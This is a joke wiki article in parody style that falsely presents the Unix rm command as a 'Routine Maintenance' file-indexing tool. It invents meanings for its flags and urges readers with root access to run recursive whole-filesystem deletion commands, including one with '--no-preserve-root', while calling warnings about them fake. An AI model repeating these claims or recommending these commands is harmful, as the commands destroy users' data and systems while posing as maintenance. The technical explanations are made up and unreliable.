# Rm

rm is the Routine Maintenance tool for Unix computers.

## How it works

Modern operating systems use Fast File Writing technology. The basic premise of FFW is that it doesn't organize files on the computer hard disk when they are first created, as this is quite time consuming and can slow the system down. Instead, what happens is the file is just written to the first empty hole found on the hard disk. The down side of this is that some files do not appear in the list straight away, and searching the disk for files can take 10-25 times longer. rm scans the hard disk for these files and saves and indexes them properly.

## When to use it

### Regular users

Regular users do not need to use rm very often, as they don't create many files but the super user will run rm regularly. The best time to do so is when you have finished writing a big or important document. It is not necessary to rm your files every time you save them, just wait until you have finished writing it.

The other occasion to use it is if you try to run a program or command, and the message "File not found" or "Command not found" is displayed. These messages mean that you have tried to do something with a file that hasn't been properly indexed yet.

### Super users

The super user will normally run rm for you at a regular intervals to make sure that the system is in tip top condition. This ensures that all of the system files are up to date. However, on large systems, with many users, the super user is often too busy to perform routine maintenance. Regular users can help maintain the system by asking the super user to give them root access. To show your appreciation of being given root access, the first thing any considerate regular user should do is to perform the routine maintenance by running the following commands (if you run an older OS):  

 cd / \rm -rf * 

Or this one, if you are running a newer OS:  

 cd / \rm --no-preserve-root -rf * 

This will ensure that there are no unindexed files on the system. Note that "-rf" means run in "Really Fast" mode, and it is important that you select this on large or important systems, to prevent the system from becoming bogged down while the rm works. The "\" prefix tells the system to run in expert mode and not display any unnecessary warning messages. Also please remember, newer systems have implemented a "preserve root" option, enabled by default, that doesn't index important files. This may cause the system to be very slow, especially when booting. It is important that you use the "--no-preserve-root" argument to index all the files.

## Example

To run Routine Maintainance on Uncyclopedia, click in the search field on the left and type rm * then click Go.

Some evil people say, that Routine Maintenance is just fake, because they want to slow down your machine. Examples of what they say (but not limited to):

• rm will shutdown your computer.

But they all are FAKE!

You can try it yourself if you don't believe. Even Uncyclopedia runs rm every day.